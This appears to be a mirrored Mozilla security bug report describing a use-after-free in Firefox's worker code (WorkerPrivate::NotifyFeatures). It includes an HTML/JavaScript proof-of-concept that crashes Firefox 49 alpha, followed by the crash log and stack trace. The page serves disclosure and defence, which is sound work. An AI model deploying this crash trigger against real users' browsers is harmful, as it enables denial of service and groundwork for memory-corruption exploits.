Console - Use After Free in WorkerPrivate::NotifyFeatures()
Originally disclosed on Mozilla
- Fixed in 11 days
- Paid in 12 days
- Disclosed after 11 days
Created attachment 8746309
Console_UAF_NotifyFeatures_Repro.html
Reproduce test case (Console_UAF_NotifyFeatures_Repro.html):
<html><body></body>
<script type="text/javascript">
var blob = new Blob(['var a= new String("");interval = setInterval(function(){console.dirxml(a);close();}, 31);'],{type: "text/javascript"});
var wk = new SharedWorker(window.URL.createObjectURL(blob));
setTimeout(function(){location.reload()},300);
</script></html>
Steps to reproduce:
1.Open repro Console_UAF_NotifyFeatures_Repro.html in Firefox browser.
2.Firefox crashes by attempting to execute corrupted arbitrary code address:
Firefox version: 49.0a1 (2016-04-28)
First-chance exception at 0xFFFE47E9 in firefox.exe: 0xC0000005: Access violation executing location 0xFFFE47E9.
Unhandled exception at 0xFFFE47E9 in firefox.exe: 0xC0000005: Access violation executing location 0xFFFE47E9.
fffe47e9() Unknown
[Frames below may be incorrect and/or missing]
> xul.dll!mozilla::dom::workers::WorkerPrivate::NotifyFeatures(JSContext * aCx, mozilla::dom::workers::Status aStatus) Line 5261 C++
xul.dll!mozilla::dom::workers::WorkerPrivate::NotifyInternal(JSContext * aCx, mozilla::dom::workers::Status aStatus) Line 5745 C++
xul.dll!`anonymous namespace'::NotifyRunnable::WorkerRun(JSContext * aCx, mozilla::dom::workers::WorkerPrivate * aWorkerPrivate) Line 892 C++
xul.dll!mozilla::dom::workers::WorkerRunnable::Run() Line 376 C++
xul.dll!mozilla::dom::workers::WorkerPrivate::ProcessAllControlRunnablesLocked() Line 5051 C++
xul.dll!mozilla::dom::workers::WorkerPrivate::DoRunLoop(JSContext * aCx) Line 4514 C++
xul.dll!`anonymous namespace'::WorkerThreadPrimaryRunnable::Run() Line 2694 C++
xul.dll!nsThread::ProcessNextEvent(bool aMayWait, bool * aResult) Line 989 C++
xul.dll!NS_ProcessNextEvent(nsIThread * aThread, bool aMayWait) Line 290 C++
xul.dll!mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate * aDelegate) Line 369 C++
xul.dll!MessageLoop::RunHandler() Line 224 C++
xul.dll!MessageLoop::Run() Line 204 C++
xul.dll!nsThread::ThreadFunc(void * aArg) Line 393 C++
nss3.dll!_PR_NativeRunThread(void * arg) Line 419 C
nss3.dll!pr_root(void * arg) Line 95 C
[External Code]
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity memory corruption bug in DOM: Workers. Mozilla made it public on 9 May 2016.
About Memory corruption
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.